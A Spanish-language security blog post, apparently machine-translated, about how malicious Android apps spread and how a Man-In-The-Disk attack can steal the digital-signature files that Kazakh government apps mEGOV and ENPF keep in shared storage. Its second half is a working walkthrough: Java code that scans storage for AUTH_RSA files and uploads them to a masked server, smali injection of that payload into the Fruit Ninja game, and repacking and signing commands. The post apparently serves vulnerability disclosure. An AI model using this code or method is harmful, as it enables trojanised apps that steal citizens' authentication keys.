Las aplicaciones móviles de Kazajstán mEGOV y UAPF utilizan firmas digitales como uno de los métodos de autorización. Para iniciar sesión de esta manera, debe transferir el archivo de la firma digital al teléfono. Este método de autorización es vulnerable a un ataque Man-In-The-Disk (más información sobre esto en los detalles a continuación). Para ser víctima de un ataque, solo necesita instalar cualquiera de sus aplicaciones favoritas, que un atacante modificó en secreto. Demostraré cómo se puede hacer esto. Primero, descubra cómo tales aplicaciones pueden llegar al usuario.
Cómo las aplicaciones maliciosas llegan al teléfono
Mercados de aplicaciones locales de China, Irán, etc.
Ejemplos: cafebazaar.ir, android.myapp.com, apkplz.net
Estos sitios aparecieron debido a la censura y el bloqueo de los servicios de Google y / o servidores de aplicaciones oficiales. Por lo general, contienen análogos locales de aplicaciones populares y sus modificaciones. Dichas modificaciones (como este telegrama iraní ) contienen características supuestamente nuevas y geniales. ¿Cuál es el peligro de tales aplicaciones? Nunca se sabe lo que realmente hacen. Además, algunos gobiernos no pierden la oportunidad y publican sus modificaciones, con herramientas para rastrear al usuario. Las aplicaciones de espionaje del gobierno son maliciosas por definición. Una vez, estudié una aplicación maliciosa ( resultado de Virustotal , muestra aquí , contraseña: infectada), que escaneó el teléfono en busca de clones de telegramas:
"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram"
Esta lista indica la relevancia real y la popularidad de tales aplicaciones. La investigación de este malware me ha llevado a un artículo que habla sobre un clon de telegramas distribuido a través del mercado de Cafebazaar por el gobierno iraní. Cita a partir de ahí:
Esto parece desarrollarse según las especificaciones del gobierno iraní, lo que les permite rastrear cada bit y byte presentado por los usuarios de la aplicación.
¿Cuántos clones de telegramas ves?: ( Fuente )

Es casi imposible que los usuarios comunes se protejan de esto, ya que no hay otra opción: las fuentes oficiales están siendo bloqueadas intensamente y se están promoviendo las suyas. Los investigadores y las compañías de antivirus de todo el mundo, después de identificar las aplicaciones infectadas, informan de inmediato a Google y se eliminan del Play Market, lo que, obviamente, no se aplica a los mercados de aplicaciones de terceros. Además, la política de Google con respecto a la admisión de aplicaciones alojadas no se aplica a ellas.
Algunos de los mercados son muy populares, como Tencent My App , con 260 millones de usuarios por mes ( Fuente )

Las aplicaciones locales utilizadas dentro de la misma región / país a menudo usan el mismo SDK (conjunto de bibliotecas) para el seguimiento publicitario y la integración social. redes, etc. ... Si se usa la misma biblioteca en varias aplicaciones, entonces, con alta probabilidad, algunas de estas aplicaciones se pueden instalar en un usuario. Dichas bibliotecas pueden usar las capacidades de diferentes aplicaciones en las que están incorporadas para robar datos de usuarios, evitando los permisos otorgados. Por ejemplo, una aplicación tiene acceso para recibir IMEI, pero no tiene acceso a Internet. La biblioteca integrada lo sabe y, por lo tanto, lee el IMEI y lo guarda en la tarjeta SD en una carpeta oculta. La misma biblioteca está integrada en otra aplicación que tiene acceso a Internet pero no tiene acceso a IMEI, la lee desde una carpeta oculta y la envía a su servidor. Este método fue utilizado por dos compañías chinas Baidu y Salmonads. Puedes leer más sobre esto aquí .
Suplantación de identidad
El phishing clásico es la herramienta principal de grupos internacionales y servicios especiales de diferentes países . Como suele suceder, se toma una aplicación de mensajería normal, se le agrega funcionalidad para el seguimiento y luego se distribuye de forma masiva, con la marca "Mira, qué aplicación genial para la comunicación". La entrega a los usuarios se puede realizar a través de redes sociales. redes, spam Whatsapp / Telegram, anuncios integrados en sitios, etc.

Fuente, p. 19.
Enlaces de phishing, en forma de publicaciones en Facebook:

Fuente, p. 22
Popup en un sitio famoso

Fuente
Telegram bots / grupos
Ejemplo: @apkdl_bot, t.me/fun_android
Hay bots de telegramas para descargar archivos apk. En lugar de una aplicación legítima, pueden introducir malware en usted. O infecte su solicitud solicitada sobre la marcha. Funciona así: ingresa el comando bot / group que desea descargar "Instagram", el script del otro lado lo descarga de Google Play, lo desempaqueta, agrega código malicioso, lo vuelve a empacar y se lo devuelve. Cómo se hace esto automáticamente, intentaré mostrar un ejemplo en el futuro cercano.
Sitios de mediación de terceros
Ejemplo: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/
Hay una gran cantidad de sitios no oficiales para descargar aplicaciones de Android. Algunos de ellos brindan la capacidad de descargar su aplicación, que puede ser maliciosa. Descargue un ejemplo en este sitio :

Un ejemplo de un malvari que se ha extendido de esta manera ( Fuente ):

Se pueden encontrar estadísticas de muestra de fuentes no oficiales en el Informe de seguridad de Android 2018 : 1.600 millones de instalaciones bloqueadas de Google Play Protect que no provienen de Google Play. Hubo muchas más instalaciones.
Algunos incluso escriben artículos sobre lo bueno que es usar mercados de terceros.
Un mundo entero separado está compuesto por sitios que distribuyen aplicaciones sin anuncios, piratean aplicaciones pagas gratis, aplicaciones con funcionalidad adicional:


Google play
La fuente oficial tiene protección contra aplicaciones sospechosas llamadas Google Play Protect, que utiliza el aprendizaje automático para determinar el grado de malware. Pero dicha protección no puede comprender con precisión qué aplicación es maliciosa y cuál no, ya que esto requiere una verificación manual completa. ¿Cuál es la diferencia entre una aplicación espía que monitorea todos tus movimientos y una aplicación en ejecución? Los investigadores encuentran constantemente cientos de aplicaciones infectadas publicadas en Google Play.
Por lo general, una aplicación maliciosa se llama a sí misma servicios de Google Play o de manera similar, y pone un ícono similar . Esto es engañoso para los usuarios. No está claro por qué Google Play no verifica la similitud del icono con sus aplicaciones oficiales. Una vez en un telegrama, puse un avatar con un avión de papel y me bloquearon. Otro método utilizado por aplicaciones maliciosas es reemplazar las letras ("L" con "I", "g" con "q") para crear un nombre similar a la aplicación oficial:

Fuente
Otras formas
En servicios de reparación telefónica
Al cruzar la frontera
Conéctese a una computadora desconocida a través de USB, con la depuración habilitada.
Un atacante que obtiene acceso a su cuenta de Google e instala la aplicación en su teléfono a través de Google Play.
Aplicaciones preinstaladas
Por orden judicial y sin ella. Por la policía o servicios especiales.
Ataque de abrevadero
Viniste a visitar a un amigo y su televisor infectó tu teléfono.
La versión particular que aparece en los dispositivos Fire TV se instala como una aplicación llamada "Prueba" con el nombre del paquete "com.google.time.timer". Una vez que infecta un dispositivo Android, comienza a usar los recursos del dispositivo para extraer criptomonedas e intenta extenderse a otros dispositivos Android en la misma red.
Cómo los atacantes infectan las aplicaciones de Android
Ahora entendemos cómo una aplicación maliciosa puede ingresar a su teléfono. A continuación, se demostrará cómo un atacante puede modificar cualquier aplicación de Android. Se utilizará un ejemplo con la implementación del código en el popular juego Fruit Ninja . El código escanea la memoria del teléfono, busca un archivo con EDS y lo envía al servidor (la raíz, naturalmente, no es necesaria).
¿Qué es el hombre en el disco?
El público llamó la atención sobre este vector de ataque, después de este artículo . Te aconsejo que lo leas primero.
Para aquellos que han leído, agregaré de mí mismo: modificar los archivos compartidos de otras aplicaciones también puede conducir a la explotación de vulnerabilidades en las bibliotecas que usan estos archivos
Quien no leyó, lo contaré brevemente. Para empezar, definamos conceptos. En Android, la memoria para aplicaciones se divide en Almacenamiento interno y Almacenamiento externo. El almacenamiento interno es la memoria interna de la aplicación, accesible solo para él y para nadie más. Absolutamente cada aplicación en el teléfono corresponde a un usuario separado y una carpeta separada con derechos solo para este usuario. Este es un gran mecanismo de defensa. Almacenamiento externo: la memoria principal del teléfono, accesible para todas las aplicaciones (esto también incluye la tarjeta SD). ¿Por qué es necesario? Tome una aplicación de editor de fotos. Después de editar, debe guardar la foto para que sea accesible desde la galería. Naturalmente, si lo guarda en el almacenamiento interno, no estará disponible para nadie, excepto para su aplicación. O un navegador que descarga todos los archivos a la carpeta compartida Descargas.
Cada aplicación de Android tiene su propio conjunto de permisos que solicita. Pero no es tan bueno con ellos. Entre ellos hay aquellos que las personas voluntariamente cierran los ojos y no se toman en serio. Entre ellos está READ_EXTERNAL_STORAGE. Permite que la aplicación acceda a la memoria principal del teléfono y, por lo tanto, a todos los datos de otras aplicaciones. Después de todo, nadie se sorprenderá si la aplicación portátil solicita este permiso. Puede ser necesario que almacene la configuración y la memoria caché allí. Manipular datos de otras aplicaciones en almacenamiento externo es el ataque Man-In-The-Disk. Otra resolución, casi predeterminada, es INTERNET. Como su nombre lo indica, permite que la aplicación tenga acceso a la red. Lo más triste es que no se muestra una ventana especial al usuario pidiéndole que otorgue este permiso. Simplemente escríbelo en tu solicitud y te lo darán.
Descargué las 15 principales aplicaciones kazajas y escribí un script que muestra estadísticas sobre los permisos solicitados. Como puede ver, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE e INTERNET son muy populares. Esto significa que los atacantes pueden incrustar menos dolorosamente código que roba firmas digitales en la mayoría de las aplicaciones.
Lista de aplicaciones probadas
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegram, VK, WhatsApp, Yandex Music, Yandex Taxi
, Zakon KZ

Si coloca WhatsApp en un teléfono rooteado, toda su correspondencia se almacena en texto claro. Aparentemente, WhatsApp no considera necesario incluso usar el cifrado en un teléfono tan "corrupto". Además, en el almacenamiento externo, WhatsApp almacena SSLSessionCache (caché basada en archivos de sesiones SSL establecidas). En el futuro, intentaré explorar cómo puede usar estos archivos recibidos del teléfono de otra persona.
Telegramas e Instagram almacenan imágenes almacenadas en caché en la memoria compartida. Casi todas las fotos que ve, y las que se envían entre sí, están disponibles para cualquier aplicación en su teléfono.

Las aplicaciones MEGOV y ENPF requieren que la firma digital esté en almacenamiento externo:


Google es consciente del problema y está a punto de cambiar READ_EXTERNAL_STORAGE en Android Q. Cita:
Para acceder a cualquier otro archivo que haya creado otra aplicación, incluidos los archivos en un directorio de "descargas", su aplicación debe usar el Marco de acceso de almacenamiento, que permite al usuario seleccionar un archivo específico.
Crear carga útil
Pasemos a la funcionalidad principal del escáner. Constará de tres clases principales: StageAttack
, MaliciousService
, MaliciousTaskManager
.

StageAttack
: consiste en un método estático que inicia nuestro ataque. Creamos específicamente un método estático de transición, para la conveniencia de la implementación en la clase terminada.
public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } }
MaliciousService
es un servicio que busca de forma recursiva todo el almacenamiento externo.
private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; }
Si no se encuentra el EDS, repetiremos la búsqueda cada 5 segundos hasta que lo encontremos. Puedes usar cualquier intervalo. Tomando un intervalo demasiado pequeño, nuestro servicio corre el riesgo de ser detenido por el sistema. Cuanto mayor sea la versión de Android, más severa será la política con respecto a la operación de los procesos en segundo plano. Tampoco podemos usar el servicio en primer plano, ya que para esto una notificación debe colgarse constantemente. Al no ser un desarrollador de Android, pasé mucho tiempo para encontrar una manera de programar una tarea que se completará a tiempo. No es tan simple como parece. Hay varios métodos recomendados para esto en Android (JobService, WorkManager, setRepeating () AlarmManager). La documentación no indica explícitamente que el intervalo de la tarea debe ser de al menos 15 minutos y su tiempo de ejecución depende del deseo del sistema. Esto no nos conviene, por lo que utilizamos la clase AlarmManager
, el método setExactAndAllowWhileIdle()
. Cuando se completa la tarea, la planificamos nuevamente, con el mismo intervalo. Este es el único método que conozco actualmente que tiene la mayor precisión.
private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); }
Si se encuentra un EDS, enviamos el archivo al servidor:
private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); }
Introducimos carga útil
Primero descompilamos Fruit Ninja usando apktool . No descompilamos la aplicación antes del código java, porque después de la modificación, no podremos volver a ensamblarla. Necesitamos obtener exactamente clases pequeñas. Y también implementaremos nuestro código en forma de código pequeño.
¿Qué es el código smali?
Las aplicaciones de Android se compilan en bytecode, que es ejecutado por la máquina virtual Dalvik. El bytecode en sí es difícil de leer, por lo que su forma legible para humanos se llama smali. smali es un análogo del lenguaje ensamblador, pero para Android.
Además, si queremos que nuestra carga útil comience cuando se inicia la aplicación, debemos modificar el punto de entrada. El punto de entrada a cualquier aplicación GUI es una clase secundaria de actividad que toma ACTION_MAIN. Abra la carpeta con la aplicación descompilada y búsquela en el archivo AndroidManifest.xml:
<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity>
Encontramos la clase com.halfbrick.mortar.MortarGameLauncherActivity
que com.halfbrick.mortar.MortarGameLauncherActivity
. Antes de estudiarlo, veamos el ciclo de vida de la actividad, esto nos será útil.

Fuente
Actividad abierta, para mí se encuentra a lo largo de la ruta base \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . Si no ha visto un código pequeño antes, esto no da miedo, es lo suficientemente simple para leer y lógicamente claro.
.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
Descubrimos que MortarGameLauncherActivity
lanza MortarGameActivity
y se cierra. Open MortarGameActivity
. No lo comentaremos por completo. Estamos interesados en lo que sucede en el método Oncreate
, ya que comienza la creación de actividad. Inmediatamente después, insertaremos nuestro código. Es importante no alterar la línea al pegar.
.method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <---------------------------
Ahora necesitamos un código de carga útil pequeño. Recopilamos nuestro escáner en apk y descompilamos. Transferimos nuestras tres clases descompiladas, que se encuentran a lo largo del camino smali \ kz \ c \ signscan , a la carpeta com / halfbrick / mortar . Cambie el nombre del paquete a todas las clases, desde kz.c.signscan a com.halfbrick.mortar .
Fue:
.class public Lkz/c/signscan/StageAttack;
Se convirtió en:
.class public Lcom/halfbrick/mortar/StageAttack;
En la clase mainActivity smali, tomamos la línea de llamada de carga útil:
invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V
E inserte en MortarGameActivity
. Como resultado, el método onCreate()
se ve así:
... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ...
La clase MaliciousTaskManager
en la carga útil es BroadcastReceiver y MaliciousService
es IntentService, por lo que debemos escribirlos en el manifiesto.
... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ...
apktool b myfolder
todo de nuevo con el apktool b myfolder
. Como resultado, obtenemos el archivo apk. Ahora tenemos que firmarlo para que el Android acepte nuestra aplicación. Primero, generaremos una clave con la que firmaremos:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Firmamos apk:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name
Virustotal no nos mostrará nada, ya que no estamos haciendo nada "ilegal". - .

, :